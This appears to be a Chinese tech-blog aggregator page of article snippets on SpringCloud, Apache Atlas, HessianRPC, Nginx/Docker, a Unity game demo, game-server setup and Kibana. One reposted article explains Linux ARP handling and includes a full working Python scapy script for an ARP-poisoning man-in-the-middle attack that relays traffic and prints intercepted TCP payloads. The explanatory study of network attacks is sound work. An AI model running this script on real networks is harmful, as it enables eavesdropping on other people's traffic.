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SpringCloud
...务架构是一种软件开发方法,它将单一应用程序划分成一组小的、相互独立的服务。每个服务运行在其自己的进程中,服务之间通过API进行通信,每个服务都围绕着系统中的特定业务能力进行构建,并能够独立部署和扩展。在本文中,SpringCloud框架被用于实现微服务架构,帮助开发者处理服务注册发现、负载均衡、熔断限流等一系列分布式系统问题。 服务中心(如Eureka或Nacos) , 服务中心是微服务体系结构中的核心组件之一,负责管理所有服务实例的注册与发现。在文中提到的Eureka和Nacos就是两个流行的服务注册与发现组件。Eureka由Netflix开源,提供服务注册和服务发现的功能;Nacos则是阿里巴巴开源的一款更全面的动态服务发现、配置管理和服务管理平台。服务提供者启动后会将自己的信息注册到服务中心,而消费者则通过查询服务中心来获取并调用所需的服务。 服务网格(如Istio、Linkerd) , 服务网格是一种专门针对服务间通信的基础设施层,它抽象出一个控制平面用于集中化管理和监控服务间的流量,以及数据平面负责实际的服务间数据传输。在面对服务提供者与消费者匹配异常等问题时,服务网格技术提供了更为精细化的服务治理方案。例如,Istio是一个完全开源的服务网格,可透明地分层部署到现有的分布式应用中,对网络流量进行控制、遥测和安全性策略实施;而Linkerd也是一种轻量级的服务网格,旨在简化和保护云原生应用的服务间通信。 负载均衡(@LoadBalanced注解) , 负载均衡是一种计算机网络技术,用于在多个计算资源之间分配工作负载,以优化资源使用、最大化吞吐量、最小化响应时间并避免过载。在SpringCloud中,@LoadBalanced注解用于启用HTTP客户端(如RestTemplate)的负载均衡功能,使得服务消费者可以根据服务中心提供的服务实例列表进行智能选择,从而实现请求的均衡分布和故障转移。如果忘记添加该注解,可能会导致服务提供者无法正常注册到服务中心,或者消费者无法正确地从多个服务实例中选取目标进行调用。
2023-02-03 17:24:44
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春暖花开
Apache Atlas
...ble"); // 设置表格的详细属性,如数据库名、owner等 AtlasObjectId databaseId = new AtlasObjectId("hive_db", "guid_of_hive_db", "hive_db"); tableEntity.setAttribute("db", databaseId); // 创建实体的上下文信息 AtlasContext context = AtlasClientV2.getInstance().getAtlasContext(); // 将实体提交到Atlas AtlasEntityWithExtInfo entityWithExtInfo = new AtlasEntityWithExtInfo(tableEntity); context.createEntities(entityWithExtInfo); 3. 创建实体时报错的常见原因及对策 3.1 权限问题 - 场景描述:执行创建实体API时返回“Access Denied”错误。 - 理解过程:这是由于当前用户没有足够的权限来执行该操作,Apache Atlas遵循严格的权限控制体系。 - 解决策略:确保调用API的用户具有创建实体所需的权限。在Atlas UI这个平台上,你可以像给朋友分配工作任务那样,为用户或角色设置合适的权限。或者,你也可以选择到服务端的配置后台“动手脚”,调整用户的访问控制列表(ACL),就像是在修改自家大门的密码锁一样,决定谁能进、谁能看哪些内容。 3.2 实体属性缺失或格式不正确 - 场景描述:尝试创建Hive表时,如果没有指定必需的属性如"db"(所属数据库),则会报错。 - 思考过程:每个实体类型都有其特定的属性要求,如果不满足这些要求,API调用将会失败。 - 代码示例: java // 错误示例:未设置db属性 AtlasEntity invalidTableEntity = new AtlasEntity(HiveDataTypes.HIVE_TABLE.getName()); invalidTableEntity.setAttribute("name", "invalid_table"); // 此时调用createEntities方法将抛出异常 - 解决策略:在创建实体时,务必检查并完整地设置所有必需的属性。参考Atlas的官方文档了解各实体类型的属性需求。 3.3 关联实体不存在 - 场景描述:当创建一个依赖于其他实体的实体时,例如Hive表依赖于Hive数据库,如果引用的数据库实体在Atlas中不存在,会引发错误。 - 理解过程:在Atlas中,实体间存在着丰富的关联关系,如果试图建立不存在的关联,会导致创建失败。 - 解决策略:在创建实体之前,请确保所有相关的依赖实体已存在于Atlas中。如有需要,先通过API创建或获取这些依赖实体。 4. 结语 处理Apache Atlas REST API创建实体时的错误,不仅需要深入了解Atlas的实体模型和权限模型,更需要严谨的编程习惯和良好的调试技巧。遇到问题时,咱们得拿出勇气去深入挖掘,像侦探一样机智地辨别和剖析那些不靠谱的信息。同时,别忘了参考权威的官方文档,还有社区里大家伙儿共享的丰富资源,这样一来,就能找到那个正中靶心的解决方案啦!希望这篇文章能帮助你在使用Apache Atlas的过程中,更好地应对和解决创建实体时可能遇到的问题,从而更加高效地利用Atlas进行元数据管理。
2023-06-25 23:23:07
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彩虹之上
HessianRPC
...或JSON格式,通过HTTP进行传输。其特点是序列化和反序列化速度快,适合对性能要求较高的场景。 1.2 HessianRPC的工作原理 HessianRPC的核心是HessianSerializer,它负责对象的序列化和反序列化。你在手机APP上点击那个神奇的“调用”按钮,它就像个小能手一样,瞬间通过网络把你的请求打包成一个小包裹,然后嗖的一下发送给服务器。服务器收到后,就像拆快递一样迅速处理那些方法,搞定一切后又会给客户端回复反馈,整个过程悄无声息又高效极了。 三、连接池的重要性 2.1 连接池的定义 连接池是一种复用资源的技术,用于管理和维护一个预先创建好的连接集合,当有新的请求时,从连接池中获取,使用完毕后归还,避免频繁创建和销毁连接带来的性能损耗。 2.2 连接池在HessianRPC中的作用 对于HessianRPC,连接池可以显著减少网络开销,特别是在高并发场景下,避免了频繁的TCP三次握手,提高了响应速度。不过嘛,我们要琢磨的是怎么恰当地摆弄那个连接池,别整得太过了反而浪费资源,这是接下来的头等大事。 四、连接池优化策略 3.1 连接池大小设置 - 理论上,连接池大小应根据系统的最大并发请求量来设定。要是设置得不够给力,咱们的新链接就可能像赶集似的不断涌现,让服务器压力山大;可要是设置得太过豪放,又会像个大胃王一样猛吞内存,资源紧张啊。 - 示例代码: java HessianProxyFactory factory = new HessianProxyFactory(); factory.setConnectionPoolSize(100); // 设置连接池大小为100 MyService service = (MyService) factory.create("http://example.com/api"); 3.2 连接超时和重试策略 - 针对网络不稳定的情况,我们需要设置合理的连接超时时间,并在超时后尝试重试。 - 示例代码: java factory.setConnectTimeout(5000); // 设置连接超时时间为5秒 factory.setRetryCount(3); // 设置最多重试次数为3次 3.3 连接池维护 - 定期检查连接池的状态,清理无用连接,防止连接老化导致性能下降。 - 示例代码(使用Apache HttpClient的PoolingHttpClientConnectionManager): java CloseableHttpClient httpClient = HttpClients.custom() .setConnectionManager(new PoolingHttpClientConnectionManager()) .build(); 五、连接池优化实践与反思 4.1 实践案例 在实际项目中,我们可以通过监控系统的连接数、请求成功率等指标,结合业务场景调整连接池参数。例如,根据负载均衡器的流量数据动态调整连接池大小。 4.2 思考与挑战 尽管连接池优化有助于提高性能,但过度优化也可能带来复杂性。你知道吗,我们总是在找寻那个奇妙的平衡点,就是在提升功能强大度的同时,还能让代码像诗一样简洁,易读又易修,这事儿挺有意思的,对吧? 六、结论 HessianRPC的连接池优化是一个持续的过程,需要根据具体环境和需求进行动态调整。要想真正摸透它的运作机制,还得把你实践经验的那套和实时监控的数据结合起来,这样咱才能找出那个最对路的项目优化妙招,懂吧?记住,优化不是目的,提升用户体验才是关键。希望这篇文章能帮助你更好地理解和应用HessianRPC连接池优化技术。
2024-03-31 10:36:28
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寂静森林
Nginx
...nx配置不当导致无法正确地将请求转发至后端API和前端静态资源。就好比一位快递员接收到包裹,却不知道正确的投递地址一样。 3. Nginx基础配置理解 首先,我们需要对Nginx的基本配置有所理解。在Nginx中,每个server块可以视为一个独立的服务,它通过监听特定的端口接收并处理HTTP请求: nginx server { listen 80; server_name yourdomain.com; 这里是我们需要重点关注的地方,用于定义如何处理不同类型的请求 } 4. 配置Nginx实现前后端分离 假设我们的前端应用构建后的静态文件存放在/usr/share/nginx/html,而后端API运行在一个名为backend的Docker容器上,暴露了8080端口。这时,我们需要配置Nginx来分别处理静态资源请求和API请求: nginx server { listen 80; server_name yourdomain.com; 处理前端静态资源请求 location / { root /usr/share/nginx/html; 前端静态文件目录 index index.html; 默认首页文件 try_files $uri $uri/ /index.html; 当请求的文件不存在时,返回到首页 } 转发后端API请求 location /api { proxy_pass http://backend:8080; 将/api开头的请求转发至backend容器的8080端口 include /etc/nginx/proxy_params; 可以包含一些通用的代理设置,如proxy_set_header等 } } 这个配置的核心在于location指令,它帮助Nginx根据URL路径匹配不同的处理规则。嘿,你知道吗?现在前端那些静态资源啊,比如图片、CSS样式表什么的,都不再从网络上请求了,直接从咱本地电脑的文件系统里调用,超级快!而只要是请求地址以"/api"打头的,就更有趣了,它们会像接力赛一样被巧妙地传递到后端服务器那边去处理。这样既省时又高效,是不是很酷嘞? 5. Docker环境下的实践思考 在Docker环境中,我们还需要确保Nginx服务能正确地发现后端服务。这通常就像是在Docker Compose或者Kubernetes这些牛哄哄的编排工具里“捯饬”一下,让网络配置变得合理起来。比如,咱们可以先把Nginx和后端服务放在同一个“小区”(也就是网络环境)里,然后告诉Nginx:“嘿,老兄,你只需要通过那个叫做backend的门牌号,就能轻松找到你的后端小伙伴啦!”这样的操作,就实现了Nginx对后端服务的访问。 6. 结语 通过以上讨论,我们已成功揭示了在Nginx+Docker部署前后端分离项目中访问空白问题的本质,并给出了解决方案。其实,每一次操作就像是亲手搭建一座小桥,把客户端和服务器两端的信息通道给连通起来,让它们能够顺畅地“对话”。只有当我们把每个环节都搞得明明白白,像那些身经百战的建筑大师一样洞若观火,才能顺顺利利解决各种部署上的“拦路虎”,确保用户享受到既稳定又高效的线上服务体验。所以,无论啥时候在哪个地儿,碰见技术难题了,咱们都得揣着那股子热乎劲儿和胆量去积极探寻解决之道。为啥呢?因为解决问题这档子事啊,其实就是咱自我成长的一个过程嘛!
2023-07-29 10:16:00
55
时光倒流_
HessianRPC
...司精心研发的一种利用HTTP协议的二进制RPC传输技术。说白了,就是一种能让数据以超快的速度进行打包和解包的黑科技,特别适合在微服务架构这种环境下用来远程“召唤”其他服务,效率贼高!但在默认情况下,HessianRPC并不提供对服务调用频率或QPS的直接限制功能。 2. 为何需要限制QPS? 在高并发环境下,服务端如果没有适当的保护措施,可能会因短时间内接收到过多请求而超负荷运转,进而影响系统的稳定性和响应速度。因此,为HessianRPC服务设置合理的QPS限制是保障系统健康运行的重要手段之一。 3. 实现方案 使用RateLimiter进行限流 Google Guava库中的RateLimiter组件可以很好地帮助我们实现QPS的限制。下面是一个使用Guava RateLimiter配合HessianRPC进行限流的示例: java import com.caucho.hessian.client.HessianProxyFactory; import com.google.common.util.concurrent.RateLimiter; public class HessianServiceCaller { private final HessianProxyFactory factory = new HessianProxyFactory(); private final RateLimiter rateLimiter = RateLimiter.create(10); // 每秒最大10个请求 public void callService() { if (rateLimiter.tryAcquire()) { // 尝试获取令牌,成功则执行调用 SomeService service = (SomeService) factory.create(SomeService.class, "http://localhost:8080/someService"); service.someMethod(); // 调用远程方法 } else { System.out.println("调用过于频繁,请稍后再试"); // 获取令牌失败,提示用户限流 } } } 在这个示例中,我们创建了一个RateLimiter实例,设定每秒最多允许10次请求。在打算呼唤Hessian服务之前,咱们先来个“夺令牌大作战”,从RateLimiter那里试试能不能拿到通行证。如果幸运地拿到令牌了,那太棒了,咱们就继续下一步,执行服务调用。但如果不幸没拿到,那就说明现在请求的频率已经超过我们预先设定的安全值啦,这时候只好对这次请求说抱歉,暂时不能让它通过。 4. 进阶策略 结合服务熔断与降级 单纯依赖QPS限制还不够全面,通常还需要结合服务熔断和服务降级机制,例如采用Hystrix等工具来增强系统的韧性。在咱们实际做项目的时候,完全可以按照业务的具体需求,灵活设计些更高级、更复杂的限流方案。比如说,就像“滑动窗口限流”这种方式,就像是给流量装上一个可以灵活移动的挡板;又或者是采用“漏桶算法”,这就如同你拿个桶接水,不管水流多猛,都只能以桶能承受的速度慢慢流出。这样的策略,既实用又能精准控制流量,让我们的系统运行更加稳健。 5. 总结 在面对复杂多变的生产环境时,理解并合理运用HessianRPC的服务调用频率控制至关重要。使用Guava的RateLimiter或者其他的限流神器,我们就能轻松把控服务的每秒请求数(QPS),这样一来,就算流量洪水猛兽般袭来,也能保证咱的服务稳如泰山,不会被冲垮。同时呢,我们也要像鹰一样,始终保持对技术的锐利眼光,瞅准业务的特点和需求,灵活机动地挑选并运用那些最适合的限流策略。这样一来,咱们就能让整个分布式系统的稳定性和健壮性蹭蹭往上涨,就像给系统注入了满满的活力。
2023-12-08 21:23:59
522
追梦人
HessianRPC
...nRPC的核心在于对HTTP协议的运用以及Hessian二进制序列化机制。开发者只需要这么干,先定义一个接口,然后在这接口上,客户端和服务端两边各自整上实现,这样一来,远程方法调用就轻松搞定了。就像是你在家画好一张购物清单,然后分别让家人和超市那边按照清单准备东西,最后就能完成“远程”的物资调配啦。例如: java // 定义服务接口 public interface HelloService { String sayHello(String name); } // 服务端实现 @Service("helloService") public class HelloServiceImpl implements HelloService { @Override public String sayHello(String name) { return "Hello, " + name; } } // 客户端调用示例 HessianProxyFactory factory = new HessianProxyFactory(); HelloService service = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); String greeting = service.sayHello("World"); 3. HessianURLException详解 当我们在使用HessianRPC进行远程调用时,如果出现"HessianURLException: 创建或处理URL时发生错误。"异常,这通常意味着在创建或解析目标服务的URL地址时出现了问题。比如URL格式不正确、网络不可达或者其他相关的I/O异常。 java try { // 错误的URL格式导致HessianURLException HelloService wrongService = (HelloService) factory.create(HelloService.class, "localhost:8080/hello"); } catch (MalformedURLException e) { System.out.println("HessianURLException: 创建或处理URL时发生错误。"); // 抛出异常 } 在这个例子中,由于我们没有提供完整的URL(缺少协议部分"http://"),所以HessianRPC无法正确解析并创建到服务端的连接,从而抛出了HessianURLException。 4. 解决方案与预防措施 面对HessianURLException,我们需要从以下几个方面着手解决问题: 4.1 检查URL格式 确保提供的URL是完整且有效的,包括协议(如"http://"或"https://")、主机名、端口号及资源路径等必要组成部分。 java // 正确的URL格式 HelloService correctService = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); 4.2 确保网络可达性 检查客户端和服务端之间的网络连接是否畅通无阻。如果服务端未启动或者防火墙阻止了连接请求,也可能引发此异常。 4.3 异常捕获与处理 在代码中合理地处理此类异常,给用户提供明确的错误信息提示。 java try { HelloService service = (HelloService) factory.create(HelloService.class, "http://localhost:8080/hello"); } catch (HessianConnectionException | MalformedURLException e) { System.err.println("无法连接到远程服务,请检查URL和网络状况:" + e.getMessage()); } 5. 总结 在我们的编程旅程中,理解并妥善处理像"HessianURLException: 创建或处理URL时发生错误"这样的异常,有助于提升系统的稳定性和健壮性。对于HessianRPC来说,每一个细节都可能影响到远程调用的成功与否。所以呢,真要解决这类问题,归根结底就俩大法宝:一个是牢牢掌握的基础知识,那叫一个扎实;另一个就是严谨到家的编码习惯了,这两样可真是缺一不可的关键所在啊!伙计们,让我们一起瞪大眼睛,鼓起勇气,把HessianRPC变成我们手里的神兵利器,让它在开发分布式应用时,帮我们飞速提升效率,让开发过程更轻松、更给力!
2023-10-16 10:44:02
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柳暗花明又一村
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...转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 [Unity] 包括场景互动与射击要素的俯视角闯关游戏Demo 一个简单的单机闯关小游戏,主角到达终点即为胜利,关卡中有两种怪物能够对主角造成伤害,此外还有灯、陷阱、宝箱等场景互动要素,主角从宝箱中获得枪后能够进行射击杀死怪物 游戏逻辑简述 主角 初始有三点血量,被怪物攻击或触发陷阱回收到伤害,血量为零时进行副本结算,成功到达终点后游戏胜利 当获得武器后可以发射子弹,子弹会沿直线飞行,碰到障碍物、怪物、墙壁后,子弹消失 怪物 石像鬼 无法移动,血量无限,攻击到主角会直接将主角杀死 AI:来回探照,探照到主角后将主角杀死 幽灵 初始九点血量,当被子弹攻击后根据角色攻击力扣除血量,血量为0后死亡,3秒后出生点符火 AI:出生后在一定范围内巡逻,被攻击后会追逐主角直到死亡 场景互动物体 灯光 灯每15秒自动亮一次,亮10秒钟自动熄灭,灯亮起时,灯光范围内的怪物死亡 主角操作开关改变当前房间灯的状态(关-》开,开-》关),状态改变后场景机制的灯重新计时。 减速陷阱 主角触发陷阱后会减少主角50%移动速度,主角离开陷阱后依然会持续5秒减速效果。 地刺陷阱 每间隔3秒会伸出尖刺,持续3秒,尖刺缩回,重新开始计时。当尖刺处于伸出状态时,主角在陷阱范围,每秒会受到1点伤害。 宝箱 打开宝箱后主角可以获得一把武器 实现简述 由于实现功能较为简单,因此只简述实现思路 类组织结构 使用彩色建模的思想组织类结构,类图: SceneObject 所有场景物体包括主角、怪物、互动物体等的抽象基类,仅有init()抽象方法 Character 拥有血量和攻击力的实体继承自Character,同时实现getATK()和beDamage()抽象方法用于处理攻击和受击逻辑 SceneItem 其他场景实体继承自SceneItem,无特殊属性和方法 Scene 场景管理类,能偶根据Json文件生成场景物体,保存了实体预制体,还拥有一个静态List和静态方法用于运行时向场景中添加新实体 InteractionMI 用于处理单个实体无法处理或不属于单个实体的逻辑,包括: 幽灵追踪主角时获取角色位置 帮助实体初始化定时器组件 减速陷阱是否可以回复主角速度 主角与灯、宝箱、武器的交互 DamageMI 包含静态方法Damage()专门用于处理伤害逻辑,方便后续服务器验证等逻辑 逻辑实现 主角 Protagonist类用于处理主角相关逻辑 受击逻辑 当主角不处于无敌状态,播放受击动画,扣除血量并进入无敌状态,定时器定时一秒后关闭无敌状态 交互逻辑 用户输入交互信号后,交由InteractionMI判断交互是否成功,返回交互信息,主角播放对应动画 武器逻辑 当主角获得武器后,主角身上保存武器的引用,与武器交互直接调用武器的对应方法(Drop(),Fire()) 结算逻辑 当主角HP小于等于0时,调用Scene的静态方法,请求场景结算 怪物 石像鬼 血量无限,没有受击逻辑,当检测组件检测到主角时,调用继承的Attack方法,攻击主角 幽灵 三种状态:die、patrol,chase 死亡状态下三秒后会在第一个导航点复活 巡逻状态下检测到主角会调用继承的Attack方法攻击主角 追逐状态下会每帧获得主角位置追逐主角 其他场景物品 灯光 初始化时添加计时器用于控制自动开关,用户交互后重置计时器 开启时使用一个锥形的检测器检测幽灵是否在范围内,如果在调用Damage对幽灵造成伤害 存在一个Box Collider,当玩家进入时,调用InteractionMI的方法,将InteractionMI保存的静态SwitchableLight引用置为自己,当玩家交互时这个引用不为null,则调用这个引用的SwitchableLight的ChangeLight方法完成开关灯的交互 减速陷阱 当玩家进入时,调用InteractionMI的方法,使其内置的静态_slowDownCount计数加一,并调用玩家的SetSpeedRatio方法使玩家减速 当玩家离开,设置计时器5秒后调用InteractionMI的方法,使其内置的静态_slowDownCount计数减一,当计数为零时才可以调用玩家的SetSpeedRatio方法使玩家回复正常速度 地刺陷阱 初始化时设置计时器,每三秒改变一次状态,当玩家进入,设置计时器每一秒对玩家造成一次伤害,当玩家离开,取消计时器 宝箱 内置public GameObject GWeapon;用于保存要生成的枪的预制体 当玩家第一次与宝箱交互,播放开宝箱动画,设置计时器1.2秒后根据预制体克隆一个武器,并将武器通过Scene的静态方法加入到Scene维护的SceneObject列表中,自身保存新生成的武器的引用 当武器生成后玩家再与宝箱交互则通过InteractionMI的方法将武器父节点设为玩家,玩家获得武器的引用,自身武器引用置为null 武器 内置private Transform _parent = null;用于保存父物体 Drop方法被调用时,若父物体不为空,设置自身刚体属性,设置速度使武器有抛出效果,设置计时器1秒后恢复到没有物理效果的状态,父物体置为空 Fire方法被调用,若能够开火,则生成并初始化一个子弹,生成时将保存的父物体的Transform给子弹,保证子弹能够向角色前方发射,开火后设置开火状态为不能开火,设置计时器0.5秒后恢复开火状态 当父物体信息为空,与其他交互逻辑类似,通过InteractionMI完成武器捡起的交互逻辑 子弹 初始化时设置初速度,启动定时器1秒后若没有销毁则自动销毁,若碰撞到幽灵,对幽灵造成伤害,其他碰撞销毁自己 本篇文章为转载内容。原文链接:https://blog.csdn.net/Zireael2019/article/details/126690910。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-03-11 12:57:03
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...转载内容。原文链接:https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 手游和端游最大的区别就是手游技术是封闭的,在使用的过程中,出现了问题,很难找到解决的方法,比如架设战神引擎不开门的问题,读取不到列表的问题,等等,今天给大家分享一下架设战神引擎进入游戏不开门的问题怎么解决,提供的主要是解决思路,问题千万种,思路最重要。 导致游戏不开门的问题比较多,帮主把最常见的6个问题列出来,你们自己参照去检查。 1、战神引擎是不是全部启动成功了? 战神引擎成功启动后,有五个程序,分别是DBServer(数据库)、M2Server(M2控制台)、LoginGate(游戏网关)、GGService(登录网关)、ItemLogServer(日志),这五个程序都在服务器的任务栏上面运行了吗?如果运行了,那么进入第2个。 2、服务器的端口是不是开放了? 架设战神引擎服务器,默认需要用到的端口有这些,5600、5100、6000、7000、7100、8080、10000、20000、27017(MongoDB芒果数据库)等,这些是战神引擎默认的端口,你看看这些端口在当前架设的服务器上是不是开放了,如果不确定,可以去tool.chinaz.com/port/这个网站扫描看看。 3、引擎里面的IP是否是当前服务器的IP地址? 战神服务端里面的有4个配置文件需要修改里面的IP地址,分别在是这些文件,把这些文件别人的IP换成架设服务器所在的IP地址。 D:\mud2.0\DBServer\DBService.ini D:\mud2.0\GateServer\GameGate\MirGate.ini D:\mud2.0\GateServer\logingate\LoginGate.ini D:\mud2.0\Mir200\Gs1!Setup.txt 4、引擎里面的端口是不是修改过,在这里帮主推荐使用默认的。 跟第二条一样,引擎尽量使用默认的端口,如果修改了端口,导致引擎相互之间无法连接成功,引擎启动失败,门自然也不会开。 5、列表文件是不是存在 战神引擎列表文件有两份,分别是serverlist.json和serverlist.lua,路径如下,看看是不是有这两份文件。 D:\mud2.0\logincenter\logincenter_win\config\serverlist.json D:\mud2.0\logincenter\logincenter_win\application\controllers\serverlist.lua 这2分文件是否存在,如果存在,那么看第6条,答案就在最上面。 6、列表文件里面的IP、端口、格式是不是正确的(这个导致不开门的原因最多) 按照正常的流程,开门之后,就会出现黄色的列表信息,如下图,没有出现,那么可能serverlist.lua文件有问题,这其中包括了里面的列表格式,这个非常重要,你们在修改的时候,记得只修改里面的IP和游戏名字,端口默认8088即可。更不要添加标点符号等,多一个或少空格都会导致这份文件无法加载,从而出现了不开门的情况,如果开门了,到这里点击进不去,也是因为你修改修改的时候,破坏了标准的Lua格式。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qq_43410101/article/details/108263880。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-02-27 13:11:20
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...转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。 邻居子系统与ARP协议 邻居子系统的作用就是将IP地址,转换为MAC地址,类似操作系统中的MMU(内存管理单元),将虚拟地址,转换为物理地址。 其中邻居子系统相当于地址解析协议(IPv4的ARP协议,IPv6的ND(Neighbor discover)协议)的一个通用抽象,可以在其上实现ARP等各种地址解析协议 邻居子系统的数据结构 struct neighbour{....................} neighbour结构存储的是IP地址与MAC地址的对应关系,当前状态 struct neighbour_table{....................} 每一个地址解析协议对应一个neighbour_table,我们可以查看ARP的初始函数arp_init,其会创建arp_tbl neighbour_table 包含 neighbour 邻居子系统的状态转换 其状态信息是存放在neighbour结构的nud_state字段的 可以分析neigh_update与neigh_timer_handler函数,来理解他们之间的转换关系。 NUD_NONE: 表示刚刚调用neigh_alloc创建neighbour NUD_IMCOMPLETE 发送一个请求,但是还未收到响应。如果经过一段时间后,还是没有收到响应,则查看发送请求数是否超过上限,如果超过则转到NUD_FAILED,否则继续发送请求。如果接受到响应则转到NUD_REACHABLE NUD_REACHABLE: 表示目标可达。如果经过一段时间,未有到达目标的数据包,则转为NUD_STALE状态 NUD_STALE 在此状态,如果有用户准备发送数据,则切换到NUD_DELAY状态 NUD_DELAY 该状态会启动一个定时器,然后接受可到达确认,如果定时器过期之前,收到可到达确认,则将状态切换到NUD_REACHABLE,否则转换到NUD_PROBE状态。 NUD_PROBE 类似NUD_IMCOMPLETE状态 NUD_FAILED 不可达状态,准备删除该neighbour 各种状态之间的切换,也可以通过scapy构造数据包发送并通过Linux 下的 ip neigh show 命令查看 ARP接收处理函数分析 ARP的接收处理函数为arp_process(位于net/ipv4/arp.c)中 我们分情况讨论arp_process的处理函数并结合scapy发包来分析处理过程 当为ARP请求数据包,且能找到到目的地址的路由 如果不是发送到本机的ARP请求数据包,则看是否需要进行代理ARP处理 如果是发送到本机的ARP请求数据包,则分neighbour的状态进行讨论,但是通过分析发现,不论当前neighbour是处于何种状态(NUD_FAILD、NUD_NONE除外),则都会将状态切换成 NUD_STALE状态,且mac地址不相同时,则会切换到本次发送方的mac地址 当为ARP请求数据包,不能找到到目的地址的路由 不做任何处理 当为ARP响应数据包 如果没有对应的neighbour,则不做任何处理。如果该neighbour存在,则将状态切换为NUD_REACHABLE,MAC地址更换为本次发送方的地址 中间人攻击原理 通过以上分析,可以向受害主机A发送ARP请求数据包,其中请求包中将源IP地址,设置成为受害主机B的IP地址,这样,就会将主机A中的B的 MAC缓存,切换为我们的MAC地址。 同理,向B中发送ARP请求包,其中源IP地址为A的地址 然后,我们进行ARP数据包与IP数据包的中转,从而达到中间人攻击。 使用Python scapy包,实现中间人攻击: 环境 python3 ubuntu 14.04 VMware 虚拟专用网络 代码 !/usr/bin/python3from scapy.all import import threadingimport timeclient_ip = "192.168.222.186"client_mac = "00:0c:29:98:cd:05"server_ip = "192.168.222.185"server_mac = "00:0c:29:26:32:aa"my_ip = "192.168.222.187"my_mac = "00:0c:29:e5:f1:21"def packet_handle(packet):if packet.haslayer("ARP"):if packet.pdst == client_ip or packet.pdst == server_ip:if packet.op == 1: requestif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=1,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)pkt = Ether(dst=packet.src)/ARP(op=2,pdst=packet.psrc,psrc=packet.pdst) replysendp(pkt)if packet.op == 2: replyif packet.pdst == client_ip:pkt = Ether(dst=client_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.pdst == server_ip:pkt = Ether(dst=server_mac,src=my_mac)/ARP(op=2,pdst=packet.pdst,psrc=packet.psrc)sendp(pkt)if packet.haslayer("IP"):if packet[IP].dst == client_ip or packet[IP].dst == server_ip:if packet[IP].dst == client_ip:packet[Ether].dst=client_macif packet[IP].dst == server_ip:packet[Ether].dst=server_macpacket[Ether].src = my_macsendp(packet)if packet.haslayer("TCP"):print(packet[TCP].payload)class SniffThread(threading.Thread):def __init__(self):threading.Thread.__init__(self)def run(self):sniff(prn = packet_handle,count=0)class PoisoningThread(threading.Thread):__src_ip = ""__dst_ip = ""__mac = ""def __init__(self,dst_ip,src_ip,mac):threading.Thread.__init__(self)self.__src_ip = src_ipself.__dst_ip = dst_ipself.__mac = macdef run(self):pkt = Ether(dst=self.__mac)/ARP(pdst=self.__dst_ip,psrc=self.__src_ip)srp1(pkt)print("poisoning thread exit")if __name__ == "__main__":my_sniff = SniffThread()client = PoisoningThread(client_ip,server_ip,client_mac)server = PoisoningThread(server_ip,client_ip,server_mac)client.start()server.start()my_sniff.start()client.join()server.join()my_sniff.join() client_ip 为发送数据的IP server_ip 为接收数据的IP 参考质料 Linux邻居协议 学习笔记 之五 通用邻居项的状态机机制 https://blog.csdn.net/lickylin/article/details/22228047 转载于:https://www.cnblogs.com/r1ng0/p/9861525.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30278237/article/details/96265452。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2024-05-03 13:04:20
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Kibana
...本地环境完成这些基础设置)。接下来,我们要往Elasticsearch里塞点数据进去,这样后面才能好好分析、可视化一把。例如,我们有一个名为logs的索引,其中包含了服务器访问日志数据: json POST /logs/_doc { "timestamp": "2022-01-01T00:00:00Z", "method": "GET", "path": "/api/v1/data", "status_code": 200, "response_time_ms": 150 } 重复上述过程,填充足够多的日志数据以便进行更深入的分析。 2. 创建索引模式与发现视图 - 创建索引模式: 在Kibana界面中,进入“管理”>“索引模式”,点击“创建索引模式”,输入索引名称logs,Kibana会自动检测字段类型并建立映射关系。 - 探索数据: 进入“发现”视图,选择我们刚才创建的logs索引模式,Kibana会展示出所有日志记录。在这里,你可以实时搜索、筛选以及初步分析数据。 3. 初步构建可视化组件 - 创建可视化图表: 进入“可视化”界面,点击“新建”,开始创建你的第一个可视化图表。例如,我们可以创建一个柱状图来展示不同HTTP方法的请求次数: a. 选择“柱状图”可视化类型。 b. 在“buckets”区域添加一个“terms”分桶,字段选择method。 c. 在“metrics”区域添加一个“计数”指标,计算每个方法的请求总数。 